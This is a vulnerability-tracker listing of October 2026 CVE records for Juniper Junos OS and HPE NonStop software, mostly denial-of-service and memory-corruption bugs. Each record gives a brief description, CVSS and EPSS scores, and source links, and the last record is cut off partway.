NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102048&date=2026-10-25
An Allocation of Resources Without Limits or Throttling vulnerability in the l2cpd process of Juniper Networks Junos OS allows an adjacent unauthenticated attacker to cause a denial of service and l2cpd restart via FNP-enabled Layer 2 interfaces. The issue is triggered when the FNP feature is enabled on a VPLS routing instance with VLAN-VPLS encapsulation enabled.

This issue affects all platforms except the PTX Series and SRX Series.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An Improper Release of Memory Before Removing Last Reference vulnerability in the l2cpd process of Juniper Networks Junos OS and Junos OS Evolved platforms allows an adjacent...
https://kevwire.com/record/CVE-2026-102051
An Improper Release of Memory Before Removing Last Reference vulnerability in the l2cpd process of Juniper Networks Junos OS and Junos OS Evolved platforms allows an adjacent... (Oct 14, 2026).
An Improper Release of Memory Before Removing Last Reference vulnerability in the l2cpd process of Juniper Networks Junos OS and Junos OS Evolved platforms allows an adjacent unauthenticated attacker to cause l2cpd memory exhaustion and Layer 2 control-plane disruption via LLDP traffic when fast receive processing is enabled.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102051).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102051&date=2026-10-25).
Sources:
NVD CVE-2026-102051: https://nvd.nist.gov/vuln/detail/CVE-2026-102051
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102051&date=2026-10-25
An Improper Release of Memory Before Removing Last Reference vulnerability in the l2cpd process of Juniper Networks Junos OS and Junos OS Evolved platforms allows an adjacent unauthenticated attacker to cause l2cpd memory exhaustion and Layer 2 control-plane disruption via LLDP traffic when fast receive processing is enabled.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Stack-based Buffer Overflow vulnerability in the jdhcpd process of Juniper Networks Junos OS allows an unauthenticated adjacent attacker to cause a denial of service via a DHCP...
https://kevwire.com/record/CVE-2026-102057
A Stack-based Buffer Overflow vulnerability in the jdhcpd process of Juniper Networks Junos OS allows an unauthenticated adjacent attacker to cause a denial of service via a DHCP... (Oct 14, 2026).
A Stack-based Buffer Overflow vulnerability in the jdhcpd process of Juniper Networks Junos OS allows an unauthenticated adjacent attacker to cause a denial of service via a DHCP client response. The issue affects DHCP client operation and can interrupt related DHCP, relay, and zero-touch-provisioning services.
CVSS 8.7 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102057).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102057&date=2026-10-25).
Sources:
NVD CVE-2026-102057: https://nvd.nist.gov/vuln/detail/CVE-2026-102057
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102057&date=2026-10-25
A Stack-based Buffer Overflow vulnerability in the jdhcpd process of Juniper Networks Junos OS allows an unauthenticated adjacent attacker to cause a denial of service via a DHCP client response. The issue affects DHCP client operation and can interrupt related DHCP, relay, and zero-touch-provisioning services.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Reachable Assertion vulnerability in the bfdd daemon of Juniper Networks Junos OS and Junos OS Evolved platforms allows an unauthenticated adjacent attacker to cause a denial of...
https://kevwire.com/record/CVE-2026-102058
A Reachable Assertion vulnerability in the bfdd daemon of Juniper Networks Junos OS and Junos OS Evolved platforms allows an unauthenticated adjacent attacker to cause a denial of... (Oct 14, 2026).
A Reachable Assertion vulnerability in the bfdd daemon of Juniper Networks Junos OS and Junos OS Evolved platforms allows an unauthenticated adjacent attacker to cause a denial of service by restarting the daemon via crafted BFD session traffic.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102058).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102058&date=2026-10-25).
Sources:
NVD CVE-2026-102058: https://nvd.nist.gov/vuln/detail/CVE-2026-102058
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102058&date=2026-10-25
A Reachable Assertion vulnerability in the bfdd daemon of Juniper Networks Junos OS and Junos OS Evolved platforms allows an unauthenticated adjacent attacker to cause a denial of service by restarting the daemon via crafted BFD session traffic.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A NULL Pointer Dereference vulnerability in the rpd process of Juniper Networks Junos OS on MX Series and Junos OS Evolved on ACX Series allows an unauthenticated adjacent...
https://kevwire.com/record/CVE-2026-102060
A NULL Pointer Dereference vulnerability in the rpd process of Juniper Networks Junos OS on MX Series and Junos OS Evolved on ACX Series allows an unauthenticated adjacent... (Oct 14, 2026).
A NULL Pointer Dereference vulnerability in the rpd process of Juniper Networks Junos OS on MX Series and Junos OS Evolved on ACX Series allows an unauthenticated adjacent attacker to cause a denial of service via an IGMPv3 membership report received on a directly connected network.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102060).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102060&date=2026-10-25).
Sources:
NVD CVE-2026-102060: https://nvd.nist.gov/vuln/detail/CVE-2026-102060
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102060&date=2026-10-25
A NULL Pointer Dereference vulnerability in the rpd process of Juniper Networks Junos OS on MX Series and Junos OS Evolved on ACX Series allows an unauthenticated adjacent attacker to cause a denial of service via an IGMPv3 membership report received on a directly connected network.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Reachable Assertion vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos on MX Series routers allows an unauthenticated network attacker to cause a...
https://kevwire.com/record/CVE-2026-102063
A Reachable Assertion vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos on MX Series routers allows an unauthenticated network attacker to cause a... (Oct 14, 2026).
A Reachable Assertion vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos on MX Series routers allows an unauthenticated network attacker to cause a denial of service via an eBGP route update when HFRR link protection is configured in a VRF.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102063).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102063&date=2026-10-25).
Sources:
NVD CVE-2026-102063: https://nvd.nist.gov/vuln/detail/CVE-2026-102063
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102063&date=2026-10-25
A Reachable Assertion vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos on MX Series routers allows an unauthenticated network attacker to cause a denial of service via an eBGP route update when HFRR link protection is configured in a VRF.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An Improper Validation of Specified Quantity in Input vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a remote...
https://kevwire.com/record/CVE-2026-102065
An Improper Validation of Specified Quantity in Input vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a remote... (Oct 14, 2026).
An Improper Validation of Specified Quantity in Input vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a remote unauthenticated BGP peer to cause an rpd crash via a malformed BGP-signaled SRv6 service route when SRv6 dynamic tunnels are enabled.
CVSS 8.7 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102065).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102065&date=2026-10-25).
Sources:
NVD CVE-2026-102065: https://nvd.nist.gov/vuln/detail/CVE-2026-102065
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102065&date=2026-10-25
An Improper Validation of Specified Quantity in Input vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a remote unauthenticated BGP peer to cause an rpd crash via a malformed BGP-signaled SRv6 service route when SRv6 dynamic tunnels are enabled.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An Improper Validation of Specified Quantity in Input vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent...
https://kevwire.com/record/CVE-2026-102067
An Improper Validation of Specified Quantity in Input vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent... (Oct 14, 2026).
An Improper Validation of Specified Quantity in Input vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent unauthenticated attacker to cause a denial of service via a crafted RSVP packet when L2 LSP support is enabled.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102067).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102067&date=2026-10-25).
Sources:
NVD CVE-2026-102067: https://nvd.nist.gov/vuln/detail/CVE-2026-102067
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102067&date=2026-10-25
An Improper Validation of Specified Quantity in Input vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent unauthenticated attacker to cause a denial of service via a crafted RSVP packet when L2 LSP support is enabled.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Stack-based Buffer Overflow vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an attacker with access to a configured...
https://kevwire.com/record/CVE-2026-102180
A Stack-based Buffer Overflow vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an attacker with access to a configured... (Oct 14, 2026).
A Stack-based Buffer Overflow vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an attacker with access to a configured BGP peering session to cause a denial of service by sending a crafted BGP route attribute, which is processed while a BGP RIB streaming telemetry subscription is active.

This issue does not affect Junos OS versions prior to 22.1R1.
This issue does not affect Junos OS Evolved versions prior to 22.1R1-EVO.
CVSS 8.7 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102180).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102180&date=2026-10-25).
Sources:
NVD CVE-2026-102180: https://nvd.nist.gov/vuln/detail/CVE-2026-102180
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102180&date=2026-10-25
A Stack-based Buffer Overflow vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an attacker with access to a configured BGP peering session to cause a denial of service by sending a crafted BGP route attribute, which is processed while a BGP RIB streaming telemetry subscription is active.

This issue does not affect Junos OS versions prior to 22.1R1.
This issue does not affect Junos OS Evolved versions prior to 22.1R1-EVO.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An Improper Validation of Specified Quantity in Input vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a configured BGP...
https://kevwire.com/record/CVE-2026-102183
An Improper Validation of Specified Quantity in Input vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a configured BGP... (Oct 14, 2026).
An Improper Validation of Specified Quantity in Input vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a configured BGP EVPN peer to cause an rpd crash via a specifically malformed NLRI.
CVSS 8.7 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102183).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102183&date=2026-10-25).
Sources:
NVD CVE-2026-102183: https://nvd.nist.gov/vuln/detail/CVE-2026-102183
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102183&date=2026-10-25
An Improper Validation of Specified Quantity in Input vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a configured BGP EVPN peer to cause an rpd crash via a specifically malformed NLRI.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An Improper Validation of Specified Quantity in Input vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos Evolved platforms allows a...
https://kevwire.com/record/CVE-2026-102184
An Improper Validation of Specified Quantity in Input vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos Evolved platforms allows a... (Oct 14, 2026).
An Improper Validation of Specified Quantity in Input vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos Evolved platforms allows a configured EVPN signaling peer to cause an rpd crash via a malformed SRv6 structure carried in an EVPN route update. The result is a denial of service affecting routing adjacencies.
CVSS 8.7 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102184).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102184&date=2026-10-25).
Sources:
NVD CVE-2026-102184: https://nvd.nist.gov/vuln/detail/CVE-2026-102184
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102184&date=2026-10-25
An Improper Validation of Specified Quantity in Input vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos Evolved platforms allows a configured EVPN signaling peer to cause an rpd crash via a malformed SRv6 structure carried in an EVPN route update. The result is a denial of service affecting routing adjacencies.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Loop with Unreachable Exit Condition ('Infinite Loop') vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a remote...
https://kevwire.com/record/CVE-2026-102185
A Loop with Unreachable Exit Condition ('Infinite Loop') vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a remote... (Oct 14, 2026).
A Loop with Unreachable Exit Condition ('Infinite Loop') vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a remote network attacker to cause a denial of service via EVPN multihoming with preference-based designated-forwarder election.
CVSS 8.7 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102185).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102185&date=2026-10-25).
Sources:
NVD CVE-2026-102185: https://nvd.nist.gov/vuln/detail/CVE-2026-102185
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102185&date=2026-10-25
A Loop with Unreachable Exit Condition ('Infinite Loop') vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a remote network attacker to cause a denial of service via EVPN multihoming with preference-based designated-forwarder election.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A security vulnerability in HPE NonStop SNMP Trap Multiplexer may cause memory corruption
https://kevwire.com/record/CVE-2026-73799
A security vulnerability in HPE NonStop SNMP Trap Multiplexer may cause memory corruption (Oct 15, 2026).
A security vulnerability in HPE NonStop SNMP Trap Multiplexer may cause memory corruption
CVSS 7.5 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-73799).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-73799&date=2026-10-25).
Sources:
NVD CVE-2026-73799: https://nvd.nist.gov/vuln/detail/CVE-2026-73799
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-73799&date=2026-10-25
A security vulnerability in HPE NonStop SNMP Trap Multiplexer may cause memory corruption

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability in the finger daemon of HPE NonStop TCP/IP UTILITIES could allow an unauthenticated remote attacker to cause a denial of service.
https://kevwire.com/record/CVE-2026-76659
A vulnerability in the finger daemon of HPE NonStop TCP/IP UTILITIES could allow an unauthenticated remote attacker to cause a denial of service. (Oct 15, 2026).
A vulnerability in the finger daemon of HPE NonStop TCP/IP UTILITIES could allow an unauthenticated remote attacker to cause a denial of service.
CVSS 7.5 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-76659).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-76659&date=2026-10-25).
Sources:
NVD CVE-2026-76659: https://nvd.nist.gov/vuln/detail/CVE-2026-76659
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-76659&date=2026-10-25
A vulnerability in the finger daemon of HPE NonStop TCP/IP UTILITIES could allow an unauthenticated remote attacker to cause a denial of service.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability in HPE NonStop CIPSAM allows an out-of-bounds
  write that can corrupt buffer data.
https://kevwire.com/record/CVE-2026-76660
A vulnerability in HPE NonStop CIPSAM allows an out-of-bounds
  write that can corrupt buffer data. (Oct 15, 2026).
A vulnerability in HPE NonStop CIPSAM allows an out-of-bounds
  write that can corrupt buffer data.
CVSS 8.7 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-76660).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-76660&date=2026-10-25).
Sources:
NVD CVE-2026-76660: https://nvd.nist.gov/vuln/detail/CVE-2026-76660
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-76660&date=2026-10-25
A vulnerability in HPE NonStop CIPSAM allows an out-of-bounds
  write that can corrupt buffer data.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability in HPE NonStop QIOMON allows an out-of-bounds write that can corrupt buffer data.
https://kevwire.com/record/CVE-2026-76661
A vulnerability in HPE NonStop QIOMON allows an out-of-bounds write that can corrupt buffer data. (Oct 15, 2026).
A vulnerability in HPE NonStop QIOMON allows an out-of-bounds write that can corrupt buffer data.
CVSS 7.6 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-76661).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-76661&date=2026-10-25).
Sources:
NVD CVE-2026-76661: https://nvd.nist.gov/vuln/detail/CVE-2026-76661
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-76661&date=2026-10-25
A vulnerability in HPE NonStop QIOMON allows an out-of-bounds write that can corrupt buffer data.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A stack-based buffer overflow vulnerability in HPE NonStop TELSERV can cause memory corruption that may result in DoS.
https://kevwire.com/record/CVE-2026-76663
A stack-based buffer overflow vulnerability in HPE NonStop TELSERV can cause memory corruption that may result in DoS. (Oct 15, 2026).
A stack-based buffer overflow vulnerability in HPE NonStop TELSERV can cause memory corruption that may result in DoS.
CVSS 7.5 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-76663).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-76663&date=2026-10-25).
Sources:
NVD CVE-2026-76663: https://nvd.nist.gov/vuln/detail/CVE-2026-76663
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-76663&date=2026-10-25
A stack-based buffer overflow vulnerability in HPE NonStop TELSERV can cause memory corruption that may result in DoS.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A security vulnerability in HPE NonStop EXPAND may cause out-of-bounds memory read resulting in buffer overflow.
https://kevwire.com/record/CVE-2026-76665
A security vulnerability in HPE NonStop EXPAND may cause out-of-bounds memory read resulting in buffer overflow. (Oct 15, 2026).
A security vulnerability in HPE NonStop EXPAND may cause out-of-bounds memory read resulting in buffer overflow.
CVSS 7.1 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-76665).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-76665&date=2026-10-25).
Sources:
NVD CVE-2026-76665: https://nvd.nist.gov/vuln/detail/CVE-2026-76665
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-76665&date=2026-10-25
A security vulnerability in HPE NonStop EXPAND may cause out-of-bounds memory read resulting in buffer overflow.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A security vulnerability in HPE NonStop SOAP 4.0  may cause memory corruption resulting in a system down.
https://kevwire.com/record/CVE-2026-79821
A security vulnerability in HPE NonStop SOAP 4.0  may cause memory corruption resulting in a system down. (Oct 15, 2026).
A security vulnerability in HPE NonStop SOAP 4.0  may cause memory corruption resulting in a system down.
CVSS 8.2 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79821).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79821&date=2026-10-25).
Sources:
NVD CVE-2026-79821: https://nvd.nist.gov/vuln/detail/CVE-2026-79821
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79821&date=2026-10-25
A security vulnerability in HPE NonStop SOAP 4.0  may cause memory corruption resulting in a system down.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A security vulnerability in HPE NonStop TNS/X Native Inspect may cause corruption of address and potentially redirect execution flow.
https://kevwire.com/record/CVE-2026-79822
A security vulnerability in HPE NonStop TNS/X Native Inspect may cause corruption of address and potentially redirect execution flow. (Oct 15, 2026).
A security vulnerability in HPE NonStop TNS/X Native Inspect may cause corruption of address and potentially redirect execution flow.
CVSS 7.1 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79822).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-79822&date=2026-10-25).
Sources:
NVD CVE-2026-79822: https://nvd.nist.gov/vuln/detail/CVE-2026-79822
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-79822&date=2026-10-25
A security vulnerability in HPE NonStop TNS/X Native Inspect may cause corruption of address and potentially redirect execution flow.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A directory traversal vulnerability in HPE NonStop Python 3.x could allow  attackers to overwrite arbitrary files via a ..
https://kevwire.com/record/CVE-2026-79824
A directory traversal vulnerability in HPE NonStop Python 3.x could allow  attackers to overwrite arbitrary files via a .. (Oct 15, 2026).
A directory traversal vulnerability in HPE NonStop Python 3.x could allow  attackers to overwrite arbitrary files via a .. (dot dot) sequence in filenames in a TAR archive.
CVSS 8.0 (version 3.1; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-79824).
